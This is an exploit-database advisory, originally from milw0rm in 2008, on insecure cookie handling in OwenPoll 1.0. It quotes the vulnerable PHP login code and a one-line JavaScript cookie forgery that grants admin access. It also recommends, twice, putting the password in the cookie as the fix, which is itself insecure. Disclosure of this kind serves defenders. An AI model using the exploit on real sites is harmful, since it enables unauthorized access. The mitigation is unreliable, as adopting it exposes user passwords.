Insecure Cookie Handling

vendor:

OwenPoll

by:

Osirys

7.5

CVSS

HIGH

Insecure Cookie Handling

613

CWE

Product Name: OwenPoll

Affected Version From: OwenPoll 1.0

Affected Version To: OwenPoll 1.0

Patch Exists: YES

Related CWE: N/A

CPE: a:owenpoll:owenpoll:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

If we log in correctly, a cookie is set with name "username" and as content the username name. An attacker can exploit this vulnerability by setting the cookie with the administrator's username, allowing them to gain access to the admin panel.

Mitigation:

Set the cookie with the username's password instead of the username.

Source

Exploit-DB raw data:

[START]

####################################################################################################################
[0x01] Informations:

Script         : OwenPoll 1.0
Download       : http://www.hotscripts.com/jump.php?listing_id=75178&jump_type=1
Vulnerability  : Insecure Cookie Handling
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : x0r, emgent, Jay, str0ke, Todd and AlpHaNiX


####################################################################################################################
[0x02] Bug: [Insecure Cookie Handling]
######

Bugged file is: /[path]/checkloginmini.php

[CODE]

    if (($loggedinname == $adminusername) AND ($loggedinpass == $adminpass)){
        // authentication was successful
        // create session and set cookie with username
        session_start();
        $_SESSION['auth'] = 1;
     
        setcookie("username", $_POST['txtusername'], time()+(86400*30));

[/CODE]

If we log in correctly, a cookie is set with name "username" and as content the username name.

[!] FIX: Set as content username's password.

[CODE] setcookie("username", $_POST['txtpassword'], time()+(86400*30)); [/CODE]


[!] EXPLOIT: javascript:document.cookie = "username=admin_username; path=/";
             *admin_username is the nick of the administrator

####################################################################################################################

[/END]

# milw0rm.com [2008-12-28]